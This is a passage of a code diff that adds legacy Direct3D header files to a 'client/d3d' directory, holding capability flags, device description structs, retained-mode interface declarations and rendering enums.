#define D3DPTADDRESSCAPS_MIRROR 0x00000002L
|
||||
#define D3DPTADDRESSCAPS_CLAMP 0x00000004L
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DPTADDRESSCAPS_BORDER 0x00000008L
|
||||
#define D3DPTADDRESSCAPS_INDEPENDENTUV 0x00000010L
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
|
||||
/* D3DDEVICEDESC dwStencilCaps */
|
||||
|
||||
#define D3DSTENCILCAPS_KEEP 0x00000001L
|
||||
#define D3DSTENCILCAPS_ZERO 0x00000002L
|
||||
#define D3DSTENCILCAPS_REPLACE 0x00000004L
|
||||
#define D3DSTENCILCAPS_INCRSAT 0x00000008L
|
||||
#define D3DSTENCILCAPS_DECRSAT 0x00000010L
|
||||
#define D3DSTENCILCAPS_INVERT 0x00000020L
|
||||
#define D3DSTENCILCAPS_INCR 0x00000040L
|
||||
#define D3DSTENCILCAPS_DECR 0x00000080L
|
||||
|
||||
/* D3DDEVICEDESC dwTextureOpCaps */
|
||||
|
||||
#define D3DTEXOPCAPS_DISABLE 0x00000001L
|
||||
#define D3DTEXOPCAPS_SELECTARG1 0x00000002L
|
||||
#define D3DTEXOPCAPS_SELECTARG2 0x00000004L
|
||||
#define D3DTEXOPCAPS_MODULATE 0x00000008L
|
||||
#define D3DTEXOPCAPS_MODULATE2X 0x00000010L
|
||||
#define D3DTEXOPCAPS_MODULATE4X 0x00000020L
|
||||
#define D3DTEXOPCAPS_ADD 0x00000040L
|
||||
#define D3DTEXOPCAPS_ADDSIGNED 0x00000080L
|
||||
#define D3DTEXOPCAPS_ADDSIGNED2X 0x00000100L
|
||||
#define D3DTEXOPCAPS_SUBTRACT 0x00000200L
|
||||
#define D3DTEXOPCAPS_ADDSMOOTH 0x00000400L
|
||||
#define D3DTEXOPCAPS_BLENDDIFFUSEALPHA 0x00000800L
|
||||
#define D3DTEXOPCAPS_BLENDTEXTUREALPHA 0x00001000L
|
||||
#define D3DTEXOPCAPS_BLENDFACTORALPHA 0x00002000L
|
||||
#define D3DTEXOPCAPS_BLENDTEXTUREALPHAPM 0x00004000L
|
||||
#define D3DTEXOPCAPS_BLENDCURRENTALPHA 0x00008000L
|
||||
#define D3DTEXOPCAPS_PREMODULATE 0x00010000L
|
||||
#define D3DTEXOPCAPS_MODULATEALPHA_ADDCOLOR 0x00020000L
|
||||
#define D3DTEXOPCAPS_MODULATECOLOR_ADDALPHA 0x00040000L
|
||||
#define D3DTEXOPCAPS_MODULATEINVALPHA_ADDCOLOR 0x00080000L
|
||||
#define D3DTEXOPCAPS_MODULATEINVCOLOR_ADDALPHA 0x00100000L
|
||||
#define D3DTEXOPCAPS_BUMPENVMAP 0x00200000L
|
||||
#define D3DTEXOPCAPS_BUMPENVMAPLUMINANCE 0x00400000L
|
||||
#define D3DTEXOPCAPS_DOTPRODUCT3 0x00800000L
|
||||
|
||||
/* D3DDEVICEDESC dwFVFCaps flags */
|
||||
|
||||
#define D3DFVFCAPS_TEXCOORDCOUNTMASK 0x0000ffffL /* mask for texture coordinate count field */
|
||||
#define D3DFVFCAPS_DONOTSTRIPELEMENTS 0x00080000L /* Device prefers that vertex elements not be stripped */
|
||||
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
|
||||
/*
|
||||
* Description for a device.
|
||||
* This is used to describe a device that is to be created or to query
|
||||
* the current device.
|
||||
*/
|
||||
typedef struct _D3DDeviceDesc {
|
||||
DWORD dwSize; /* Size of D3DDEVICEDESC structure */
|
||||
DWORD dwFlags; /* Indicates which fields have valid data */
|
||||
D3DCOLORMODEL dcmColorModel; /* Color model of device */
|
||||
DWORD dwDevCaps; /* Capabilities of device */
|
||||
D3DTRANSFORMCAPS dtcTransformCaps; /* Capabilities of transform */
|
||||
BOOL bClipping; /* Device can do 3D clipping */
|
||||
D3DLIGHTINGCAPS dlcLightingCaps; /* Capabilities of lighting */
|
||||
D3DPRIMCAPS dpcLineCaps;
|
||||
D3DPRIMCAPS dpcTriCaps;
|
||||
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
|
||||
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
|
||||
DWORD dwMaxBufferSize; /* Maximum execute buffer size */
|
||||
DWORD dwMaxVertexCount; /* Maximum vertex count */
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
// *** New fields for DX5 *** //
|
||||
|
||||
// Width and height caps are 0 for legacy HALs.
|
||||
DWORD dwMinTextureWidth, dwMinTextureHeight;
|
||||
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
|
||||
DWORD dwMinStippleWidth, dwMaxStippleWidth;
|
||||
DWORD dwMinStippleHeight, dwMaxStippleHeight;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
// New fields for DX6
|
||||
DWORD dwMaxTextureRepeat;
|
||||
DWORD dwMaxTextureAspectRatio;
|
||||
DWORD dwMaxAnisotropy;
|
||||
|
||||
// Guard band that the rasterizer can accommodate
|
||||
// Screen-space vertices inside this space but outside the viewport
|
||||
// will get clipped properly.
|
||||
D3DVALUE dvGuardBandLeft;
|
||||
D3DVALUE dvGuardBandTop;
|
||||
D3DVALUE dvGuardBandRight;
|
||||
D3DVALUE dvGuardBandBottom;
|
||||
|
||||
D3DVALUE dvExtentsAdjust;
|
||||
DWORD dwStencilCaps;
|
||||
|
||||
DWORD dwFVFCaps;
|
||||
DWORD dwTextureOpCaps;
|
||||
WORD wMaxTextureBlendStages;
|
||||
WORD wMaxSimultaneousTextures;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
} D3DDEVICEDESC, *LPD3DDEVICEDESC;
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
typedef struct _D3DDeviceDesc7 {
|
||||
DWORD dwDevCaps; /* Capabilities of device */
|
||||
D3DPRIMCAPS dpcLineCaps;
|
||||
D3DPRIMCAPS dpcTriCaps;
|
||||
DWORD dwDeviceRenderBitDepth; /* One of DDBB_8, 16, etc.. */
|
||||
DWORD dwDeviceZBufferBitDepth;/* One of DDBD_16, 32, etc.. */
|
||||
|
||||
DWORD dwMinTextureWidth, dwMinTextureHeight;
|
||||
DWORD dwMaxTextureWidth, dwMaxTextureHeight;
|
||||
|
||||
DWORD dwMaxTextureRepeat;
|
||||
DWORD dwMaxTextureAspectRatio;
|
||||
DWORD dwMaxAnisotropy;
|
||||
|
||||
D3DVALUE dvGuardBandLeft;
|
||||
D3DVALUE dvGuardBandTop;
|
||||
D3DVALUE dvGuardBandRight;
|
||||
D3DVALUE dvGuardBandBottom;
|
||||
|
||||
D3DVALUE dvExtentsAdjust;
|
||||
DWORD dwStencilCaps;
|
||||
|
||||
DWORD dwFVFCaps;
|
||||
DWORD dwTextureOpCaps;
|
||||
WORD wMaxTextureBlendStages;
|
||||
WORD wMaxSimultaneousTextures;
|
||||
|
||||
DWORD dwMaxActiveLights;
|
||||
D3DVALUE dvMaxVertexW;
|
||||
GUID deviceGUID;
|
||||
|
||||
WORD wMaxUserClipPlanes;
|
||||
WORD wMaxVertexBlendMatrices;
|
||||
|
||||
DWORD dwVertexProcessingCaps;
|
||||
|
||||
DWORD dwReserved1;
|
||||
DWORD dwReserved2;
|
||||
DWORD dwReserved3;
|
||||
DWORD dwReserved4;
|
||||
} D3DDEVICEDESC7, *LPD3DDEVICEDESC7;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
#define D3DDEVICEDESCSIZE (sizeof(D3DDEVICEDESC))
|
||||
#define D3DDEVICEDESC7SIZE (sizeof(D3DDEVICEDESC7))
|
||||
|
||||
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK)(GUID FAR *lpGuid, LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC, LPD3DDEVICEDESC, LPVOID);
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
typedef HRESULT (CALLBACK * LPD3DENUMDEVICESCALLBACK7)(LPSTR lpDeviceDescription, LPSTR lpDeviceName, LPD3DDEVICEDESC7, LPVOID);
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
/* D3DDEVICEDESC dwFlags indicating valid fields */
|
||||
|
||||
#define D3DDD_COLORMODEL 0x00000001L /* dcmColorModel is valid */
|
||||
#define D3DDD_DEVCAPS 0x00000002L /* dwDevCaps is valid */
|
||||
#define D3DDD_TRANSFORMCAPS 0x00000004L /* dtcTransformCaps is valid */
|
||||
#define D3DDD_LIGHTINGCAPS 0x00000008L /* dlcLightingCaps is valid */
|
||||
#define D3DDD_BCLIPPING 0x00000010L /* bClipping is valid */
|
||||
#define D3DDD_LINECAPS 0x00000020L /* dpcLineCaps is valid */
|
||||
#define D3DDD_TRICAPS 0x00000040L /* dpcTriCaps is valid */
|
||||
#define D3DDD_DEVICERENDERBITDEPTH 0x00000080L /* dwDeviceRenderBitDepth is valid */
|
||||
#define D3DDD_DEVICEZBUFFERBITDEPTH 0x00000100L /* dwDeviceZBufferBitDepth is valid */
|
||||
#define D3DDD_MAXBUFFERSIZE 0x00000200L /* dwMaxBufferSize is valid */
|
||||
#define D3DDD_MAXVERTEXCOUNT 0x00000400L /* dwMaxVertexCount is valid */
|
||||
|
||||
/* D3DDEVICEDESC dwDevCaps flags */
|
||||
|
||||
#define D3DDEVCAPS_FLOATTLVERTEX 0x00000001L /* Device accepts floating point */
|
||||
/* for post-transform vertex data */
|
||||
#define D3DDEVCAPS_SORTINCREASINGZ 0x00000002L /* Device needs data sorted for increasing Z */
|
||||
#define D3DDEVCAPS_SORTDECREASINGZ 0X00000004L /* Device needs data sorted for decreasing Z */
|
||||
#define D3DDEVCAPS_SORTEXACT 0x00000008L /* Device needs data sorted exactly */
|
||||
|
||||
#define D3DDEVCAPS_EXECUTESYSTEMMEMORY 0x00000010L /* Device can use execute buffers from system memory */
|
||||
#define D3DDEVCAPS_EXECUTEVIDEOMEMORY 0x00000020L /* Device can use execute buffers from video memory */
|
||||
#define D3DDEVCAPS_TLVERTEXSYSTEMMEMORY 0x00000040L /* Device can use TL buffers from system memory */
|
||||
#define D3DDEVCAPS_TLVERTEXVIDEOMEMORY 0x00000080L /* Device can use TL buffers from video memory */
|
||||
#define D3DDEVCAPS_TEXTURESYSTEMMEMORY 0x00000100L /* Device can texture from system memory */
|
||||
#define D3DDEVCAPS_TEXTUREVIDEOMEMORY 0x00000200L /* Device can texture from device memory */
|
||||
#if(DIRECT3D_VERSION >= 0x0500)
|
||||
#define D3DDEVCAPS_DRAWPRIMTLVERTEX 0x00000400L /* Device can draw TLVERTEX primitives */
|
||||
#define D3DDEVCAPS_CANRENDERAFTERFLIP 0x00000800L /* Device can render without waiting for flip to complete */
|
||||
#define D3DDEVCAPS_TEXTURENONLOCALVIDMEM 0x00001000L /* Device can texture from nonlocal video memory */
|
||||
#endif /* DIRECT3D_VERSION >= 0x0500 */
|
||||
#if(DIRECT3D_VERSION >= 0x0600)
|
||||
#define D3DDEVCAPS_DRAWPRIMITIVES2 0x00002000L /* Device can support DrawPrimitives2 */
|
||||
#define D3DDEVCAPS_SEPARATETEXTUREMEMORIES 0x00004000L /* Device is texturing from separate memory pools */
|
||||
#define D3DDEVCAPS_DRAWPRIMITIVES2EX 0x00008000L /* Device can support Extended DrawPrimitives2 i.e. DX7 compliant driver*/
|
||||
#endif /* DIRECT3D_VERSION >= 0x0600 */
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
#define D3DDEVCAPS_HWTRANSFORMANDLIGHT 0x00010000L /* Device can support transformation and lighting in hardware and DRAWPRIMITIVES2EX must be also */
|
||||
#define D3DDEVCAPS_CANBLTSYSTONONLOCAL 0x00020000L /* Device supports a Tex Blt from system memory to non-local vidmem */
|
||||
#define D3DDEVCAPS_HWRASTERIZATION 0x00080000L /* Device has HW acceleration for rasterization */
|
||||
|
||||
/*
|
||||
* These are the flags in the D3DDEVICEDESC7.dwVertexProcessingCaps field
|
||||
*/
|
||||
|
||||
/* device can do texgen */
|
||||
#define D3DVTXPCAPS_TEXGEN 0x00000001L
|
||||
/* device can do IDirect3DDevice7 colormaterialsource ops */
|
||||
#define D3DVTXPCAPS_MATERIALSOURCE7 0x00000002L
|
||||
/* device can do vertex fog */
|
||||
#define D3DVTXPCAPS_VERTEXFOG 0x00000004L
|
||||
/* device can do directional lights */
|
||||
#define D3DVTXPCAPS_DIRECTIONALLIGHTS 0x00000008L
|
||||
/* device can do positional lights (includes point and spot) */
|
||||
#define D3DVTXPCAPS_POSITIONALLIGHTS 0x00000010L
|
||||
/* device can do local viewer */
|
||||
#define D3DVTXPCAPS_LOCALVIEWER 0x00000020L
|
||||
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
#define D3DFDS_COLORMODEL 0x00000001L /* Match color model */
|
||||
#define D3DFDS_GUID 0x00000002L /* Match guid */
|
||||
#define D3DFDS_HARDWARE 0x00000004L /* Match hardware/software */
|
||||
#define D3DFDS_TRIANGLES 0x00000008L /* Match in triCaps */
|
||||
#define D3DFDS_LINES 0x00000010L /* Match in lineCaps */
|
||||
#define D3DFDS_MISCCAPS 0x00000020L /* Match primCaps.dwMiscCaps */
|
||||
#define D3DFDS_RASTERCAPS 0x00000040L /* Match primCaps.dwRasterCaps */
|
||||
#define D3DFDS_ZCMPCAPS 0x00000080L /* Match primCaps.dwZCmpCaps */
|
||||
#define D3DFDS_ALPHACMPCAPS 0x00000100L /* Match primCaps.dwAlphaCmpCaps */
|
||||
#define D3DFDS_SRCBLENDCAPS 0x00000200L /* Match primCaps.dwSourceBlendCaps */
|
||||
#define D3DFDS_DSTBLENDCAPS 0x00000400L /* Match primCaps.dwDestBlendCaps */
|
||||
#define D3DFDS_SHADECAPS 0x00000800L /* Match primCaps.dwShadeCaps */
|
||||
#define D3DFDS_TEXTURECAPS 0x00001000L /* Match primCaps.dwTextureCaps */
|
||||
#define D3DFDS_TEXTUREFILTERCAPS 0x00002000L /* Match primCaps.dwTextureFilterCaps */
|
||||
#define D3DFDS_TEXTUREBLENDCAPS 0x00004000L /* Match primCaps.dwTextureBlendCaps */
|
||||
#define D3DFDS_TEXTUREADDRESSCAPS 0x00008000L /* Match primCaps.dwTextureBlendCaps */
|
||||
|
||||
/*
|
||||
* FindDevice arguments
|
||||
*/
|
||||
typedef struct _D3DFINDDEVICESEARCH {
|
||||
DWORD dwSize;
|
||||
DWORD dwFlags;
|
||||
BOOL bHardware;
|
||||
D3DCOLORMODEL dcmColorModel;
|
||||
GUID guid;
|
||||
DWORD dwCaps;
|
||||
D3DPRIMCAPS dpcPrimCaps;
|
||||
} D3DFINDDEVICESEARCH, *LPD3DFINDDEVICESEARCH;
|
||||
|
||||
typedef struct _D3DFINDDEVICERESULT {
|
||||
DWORD dwSize;
|
||||
GUID guid; /* guid which matched */
|
||||
D3DDEVICEDESC ddHwDesc; /* hardware D3DDEVICEDESC */
|
||||
D3DDEVICEDESC ddSwDesc; /* software D3DDEVICEDESC */
|
||||
} D3DFINDDEVICERESULT, *LPD3DFINDDEVICERESULT;
|
||||
|
||||
/*
|
||||
* Description of execute buffer.
|
||||
*/
|
||||
typedef struct _D3DExecuteBufferDesc {
|
||||
DWORD dwSize; /* size of this structure */
|
||||
DWORD dwFlags; /* flags indicating which fields are valid */
|
||||
DWORD dwCaps; /* capabilities of execute buffer */
|
||||
DWORD dwBufferSize; /* size of execute buffer data */
|
||||
LPVOID lpData; /* pointer to actual data */
|
||||
} D3DEXECUTEBUFFERDESC, *LPD3DEXECUTEBUFFERDESC;
|
||||
|
||||
/* D3DEXECUTEBUFFER dwFlags indicating valid fields */
|
||||
|
||||
#define D3DDEB_BUFSIZE 0x00000001l /* buffer size valid */
|
||||
#define D3DDEB_CAPS 0x00000002l /* caps valid */
|
||||
#define D3DDEB_LPDATA 0x00000004l /* lpData valid */
|
||||
|
||||
/* D3DEXECUTEBUFFER dwCaps */
|
||||
|
||||
#define D3DDEBCAPS_SYSTEMMEMORY 0x00000001l /* buffer in system memory */
|
||||
#define D3DDEBCAPS_VIDEOMEMORY 0x00000002l /* buffer in device memory */
|
||||
#define D3DDEBCAPS_MEM (D3DDEBCAPS_SYSTEMMEMORY|D3DDEBCAPS_VIDEOMEMORY)
|
||||
|
||||
#if(DIRECT3D_VERSION < 0x0800)
|
||||
|
||||
#if(DIRECT3D_VERSION >= 0x0700)
|
||||
typedef struct _D3DDEVINFO_TEXTUREMANAGER {
|
||||
BOOL bThrashing; /* indicates if thrashing */
|
||||
DWORD dwApproxBytesDownloaded; /* Approximate number of bytes downloaded by texture manager */
|
||||
DWORD dwNumEvicts; /* number of textures evicted */
|
||||
DWORD dwNumVidCreates; /* number of textures created in video memory */
|
||||
DWORD dwNumTexturesUsed; /* number of textures used */
|
||||
DWORD dwNumUsedTexInVid; /* number of used textures present in video memory */
|
||||
DWORD dwWorkingSet; /* number of textures in video memory */
|
||||
DWORD dwWorkingSetBytes; /* number of bytes in video memory */
|
||||
DWORD dwTotalManaged; /* total number of managed textures */
|
||||
DWORD dwTotalBytes; /* total number of bytes of managed textures */
|
||||
DWORD dwLastPri; /* priority of last texture evicted */
|
||||
} D3DDEVINFO_TEXTUREMANAGER, *LPD3DDEVINFO_TEXTUREMANAGER;
|
||||
|
||||
typedef struct _D3DDEVINFO_TEXTURING {
|
||||
DWORD dwNumLoads; /* counts Load() API calls */
|
||||
DWORD dwApproxBytesLoaded; /* Approximate number bytes loaded via Load() */
|
||||
DWORD dwNumPreLoads; /* counts PreLoad() API calls */
|
||||
DWORD dwNumSet; /* counts SetTexture() API calls */
|
||||
DWORD dwNumCreates; /* counts texture creates */
|
||||
DWORD dwNumDestroys; /* counts texture destroys */
|
||||
DWORD dwNumSetPriorities; /* counts SetPriority() API calls */
|
||||
DWORD dwNumSetLODs; /* counts SetLOD() API calls */
|
||||
DWORD dwNumLocks; /* counts number of texture locks */
|
||||
DWORD dwNumGetDCs; /* counts number of GetDCs to textures */
|
||||
} D3DDEVINFO_TEXTURING, *LPD3DDEVINFO_TEXTURING;
|
||||
#endif /* DIRECT3D_VERSION >= 0x0700 */
|
||||
|
||||
#endif //(DIRECT3D_VERSION < 0x0800)
|
||||
|
||||
#pragma pack()
|
||||
|
||||
|
||||
#endif /* _D3DCAPS_H_ */
|
||||
|
||||
#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
|
||||
#pragma endregion
|
||||
|
||||
94
client/d3d/d3drm.h
Normal file
94
client/d3d/d3drm.h
Normal file
@@ -0,0 +1,94 @@
|
||||
/* $Revision: 1.2 $ */
|
||||
#ifndef _LCC__D3DRM_H__
|
||||
#define _LCC__D3DRM_H__
|
||||
#include "ddraw.h"
|
||||
#include "d3drmobj.h"
|
||||
typedef void (*D3DRMDEVICEPALETTECALLBACK)(LPDIRECT3DRMDEVICE,LPVOID,DWORD,LONG,LONG,LONG);
|
||||
DEFINE_GUID(IID_IDirect3DRM, 0x2bc49361, 0x8327, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1);
|
||||
WIN_TYPES(IDirect3DRM, DIRECT3DRM);
|
||||
STDAPI Direct3DRMCreate(LPDIRECT3DRM *lplpDirect3DRM);
|
||||
#undef INTERFACE
|
||||
#define INTERFACE IDirect3DRM
|
||||
DECLARE_INTERFACE_(IDirect3DRM, IUnknown)
|
||||
{
|
||||
IUNKNOWN_METHODS(PURE);
|
||||
|
||||
STDMETHOD(CreateObject)
|
||||
(THIS_ REFCLSID rclsid, LPUNKNOWN pUnkOuter, REFIID riid, LPVOID FAR* ppv) PURE;
|
||||
STDMETHOD(CreateFrame) (THIS_ LPDIRECT3DRMFRAME, LPDIRECT3DRMFRAME *) PURE;
|
||||
STDMETHOD(CreateMesh) (THIS_ LPDIRECT3DRMMESH *) PURE;
|
||||
STDMETHOD(CreateMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER *) PURE;
|
||||
STDMETHOD(CreateFace) (THIS_ LPDIRECT3DRMFACE *) PURE;
|
||||
STDMETHOD(CreateAnimation) (THIS_ LPDIRECT3DRMANIMATION *) PURE;
|
||||
STDMETHOD(CreateAnimationSet)(THIS_ LPDIRECT3DRMANIMATIONSET *) PURE;
|
||||
STDMETHOD(CreateTexture) (THIS_ LPD3DRMIMAGE, LPDIRECT3DRMTEXTURE *) PURE;
|
||||
STDMETHOD(CreateLight) (THIS_ D3DRMLIGHTTYPE, D3DCOLOR, LPDIRECT3DRMLIGHT *) PURE;
|
||||
STDMETHOD(CreateLightRGB)
|
||||
(THIS_ D3DRMLIGHTTYPE, D3DVALUE, D3DVALUE, D3DVALUE, LPDIRECT3DRMLIGHT *) PURE;
|
||||
STDMETHOD(CreateMaterial) (THIS_ D3DVALUE, LPDIRECT3DRMMATERIAL *) PURE;
|
||||
STDMETHOD(CreateDevice) (THIS_ DWORD, DWORD, LPDIRECT3DRMDEVICE *) PURE;
|
||||
STDMETHOD(CreateDeviceFromSurface)
|
||||
( THIS_ LPGUID lpGUID, LPDIRECTDRAW lpDD,
|
||||
LPDIRECTDRAWSURFACE lpDDSBack, LPDIRECT3DRMDEVICE *
|
||||
) PURE;
|
||||
STDMETHOD(CreateDeviceFromD3D)
|
||||
( THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev,
|
||||
LPDIRECT3DRMDEVICE *
|
||||
) PURE;
|
||||
STDMETHOD(CreateDeviceFromClipper)
|
||||
( THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID,
|
||||
int width, int height, LPDIRECT3DRMDEVICE *) PURE;
|
||||
STDMETHOD(CreateTextureFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS, LPDIRECT3DRMTEXTURE *) PURE;
|
||||
STDMETHOD(CreateShadow)
|
||||
( THIS_ LPDIRECT3DRMVISUAL, LPDIRECT3DRMLIGHT,
|
||||
D3DVALUE px, D3DVALUE py, D3DVALUE pz,
|
||||
D3DVALUE nx, D3DVALUE ny, D3DVALUE nz,
|
||||
LPDIRECT3DRMVISUAL *
|
||||
) PURE;
|
||||
STDMETHOD(CreateViewport)
|
||||
( THIS_ LPDIRECT3DRMDEVICE, LPDIRECT3DRMFRAME, DWORD, DWORD,
|
||||
DWORD, DWORD, LPDIRECT3DRMVIEWPORT *
|
||||
) PURE;
|
||||
STDMETHOD(CreateWrap)
|
||||
( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME,
|
||||
D3DVALUE ox, D3DVALUE oy, D3DVALUE oz,
|
||||
D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,
|
||||
D3DVALUE ux, D3DVALUE uy, D3DVALUE uz,
|
||||
D3DVALUE ou, D3DVALUE ov,
|
||||
D3DVALUE su, D3DVALUE sv,
|
||||
LPDIRECT3DRMWRAP *
|
||||
) PURE;
|
||||
STDMETHOD(CreateUserVisual) (THIS_ D3DRMUSERVISUALCALLBACK, LPVOID lPArg, LPDIRECT3DRMUSERVISUAL *) PURE;
|
||||
STDMETHOD(LoadTexture) (THIS_ const char *, LPDIRECT3DRMTEXTURE *) PURE;
|
||||
STDMETHOD(LoadTextureFromResource) (THIS_ HRSRC rs, LPDIRECT3DRMTEXTURE *) PURE;
|
||||
STDMETHOD(SetSearchPath) (THIS_ LPCSTR) PURE;
|
||||
STDMETHOD(AddSearchPath) (THIS_ LPCSTR) PURE;
|
||||
STDMETHOD(GetSearchPath) (THIS_ DWORD *size_return, LPSTR path_return);
|
||||
STDMETHOD(SetDefaultTextureColors)(THIS_ DWORD) PURE;
|
||||
STDMETHOD(SetDefaultTextureShades)(THIS_ DWORD) PURE;
|
||||
STDMETHOD(GetDevices) (THIS_ LPDIRECT3DRMDEVICEARRAY *) PURE;
|
||||
STDMETHOD(GetNamedObject) (THIS_ const char *, LPDIRECT3DRMOBJECT *) PURE;
|
||||
STDMETHOD(EnumerateObjects) (THIS_ D3DRMOBJECTCALLBACK, LPVOID) PURE;
|
||||
STDMETHOD(Load)
|
||||
( THIS_ LPVOID, LPVOID, LPIID *, DWORD, D3DRMLOADOPTIONS,
|
||||
D3DRMLOADCALLBACK, LPVOID, D3DRMLOADTEXTURECALLBACK, LPVOID,
|
||||
LPDIRECT3DRMFRAME
|
||||
) PURE;
|
||||
STDMETHOD(Tick) (THIS_ D3DVALUE) PURE;
|
||||
};
|
||||
#define D3DRM_OK DD_OK
|
||||
#define D3DRMERR_BADOBJECT MAKE_DDHRESULT(781)
|
||||
#define D3DRMERR_BADTYPE MAKE_DDHRESULT(782)
|
||||
#define D3DRMERR_BADALLOC MAKE_DDHRESULT(783)
|
||||
#define D3DRMERR_FACEUSED MAKE_DDHRESULT(784)
|
||||
#define D3DRMERR_NOTFOUND MAKE_DDHRESULT(785)
|
||||
#define D3DRMERR_NOTDONEYET MAKE_DDHRESULT(786)
|
||||
#define D3DRMERR_FILENOTFOUND MAKE_DDHRESULT(787)
|
||||
#define D3DRMERR_BADFILE MAKE_DDHRESULT(788)
|
||||
#define D3DRMERR_BADDEVICE MAKE_DDHRESULT(789)
|
||||
#define D3DRMERR_BADVALUE MAKE_DDHRESULT(790)
|
||||
#define D3DRMERR_BADMAJORVERSION MAKE_DDHRESULT(791)
|
||||
#define D3DRMERR_BADMINORVERSION MAKE_DDHRESULT(792)
|
||||
#define D3DRMERR_UNABLETOEXECUTE MAKE_DDHRESULT(793)
|
||||
#endif
|
||||
|
||||
215
client/d3d/d3drmdef.h
Normal file
215
client/d3d/d3drmdef.h
Normal file
@@ -0,0 +1,215 @@
|
||||
/* $Revision: 1.2 $ */
|
||||
#ifndef __D3DRMDEFS_H__
|
||||
#define __D3DRMDEFS_H__
|
||||
#include <stddef.h>
|
||||
#include "d3dtypes.h"
|
||||
#define D3DRMAPI __stdcall
|
||||
#ifndef TRUE
|
||||
#define FALSE 0
|
||||
#define TRUE 1
|
||||
#endif
|
||||
typedef struct _D3DRMVECTOR4D {
|
||||
D3DVALUE x, y, z, w;
|
||||
} D3DRMVECTOR4D, *LPD3DRMVECTOR4D;
|
||||
typedef D3DVALUE D3DRMMATRIX4D[4][4];
|
||||
typedef struct _D3DRMQUATERNION {
|
||||
D3DVALUE s;
|
||||
D3DVECTOR v;
|
||||
} D3DRMQUATERNION, *LPD3DRMQUATERNION;
|
||||
typedef struct _D3DRMBOX {
|
||||
D3DVECTOR min, max;
|
||||
} D3DRMBOX, *LPD3DRMBOX;
|
||||
typedef void (*D3DRMWRAPCALLBACK) (LPD3DVECTOR, int*,int*,LPD3DVECTOR,LPD3DVECTOR,LPVOID);
|
||||
typedef enum _D3DRMLIGHTTYPE {
|
||||
D3DRMLIGHT_AMBIENT,
|
||||
D3DRMLIGHT_POINT,
|
||||
D3DRMLIGHT_SPOT,
|
||||
D3DRMLIGHT_DIRECTIONAL,
|
||||
D3DRMLIGHT_PARALLELPOINT
|
||||
} D3DRMLIGHTTYPE, *LPD3DRMLIGHTTYPE;
|
||||
typedef enum _D3DRMSHADEMODE {
|
||||
D3DRMSHADE_FLAT = 0,
|
||||
D3DRMSHADE_GOURAUD = 1,
|
||||
D3DRMSHADE_PHONG = 2,
|
||||
D3DRMSHADE_MASK = 7,
|
||||
D3DRMSHADE_MAX = 8
|
||||
} D3DRMSHADEMODE, *LPD3DRMSHADEMODE;
|
||||
typedef enum _D3DRMLIGHTMODE {
|
||||
D3DRMLIGHT_OFF = 0 * D3DRMSHADE_MAX,
|
||||
D3DRMLIGHT_ON = 1 * D3DRMSHADE_MAX,
|
||||
D3DRMLIGHT_MASK = 7 * D3DRMSHADE_MAX,
|
||||
D3DRMLIGHT_MAX = 8 * D3DRMSHADE_MAX
|
||||
} D3DRMLIGHTMODE, *LPD3DRMLIGHTMODE;
|
||||
typedef enum _D3DRMFILLMODE {
|
||||
D3DRMFILL_POINTS = 0 * D3DRMLIGHT_MAX,
|
||||
D3DRMFILL_WIREFRAME = 1 * D3DRMLIGHT_MAX,
|
||||
D3DRMFILL_SOLID = 2 * D3DRMLIGHT_MAX,
|
||||
D3DRMFILL_MASK = 7 * D3DRMLIGHT_MAX,
|
||||
D3DRMFILL_MAX = 8 * D3DRMLIGHT_MAX
|
||||
} D3DRMFILLMODE, *LPD3DRMFILLMODE;
|
||||
typedef DWORD D3DRMRENDERQUALITY, *LPD3DRMRENDERQUALITY;
|
||||
#define D3DRMRENDER_WIREFRAME (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_WIREFRAME)
|
||||
#define D3DRMRENDER_UNLITFLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_OFF+D3DRMFILL_SOLID)
|
||||
#define D3DRMRENDER_FLAT (D3DRMSHADE_FLAT+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
|
||||
#define D3DRMRENDER_GOURAUD (D3DRMSHADE_GOURAUD+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
|
||||
#define D3DRMRENDER_PHONG (D3DRMSHADE_PHONG+D3DRMLIGHT_ON+D3DRMFILL_SOLID)
|
||||
typedef enum _D3DRMTEXTUREQUALITY {
|
||||
D3DRMTEXTURE_NEAREST,
|
||||
D3DRMTEXTURE_LINEAR,
|
||||
D3DRMTEXTURE_MIPNEAREST,
|
||||
D3DRMTEXTURE_MIPLINEAR,
|
||||
D3DRMTEXTURE_LINEARMIPNEAREST,
|
||||
D3DRMTEXTURE_LINEARMIPLINEAR
|
||||
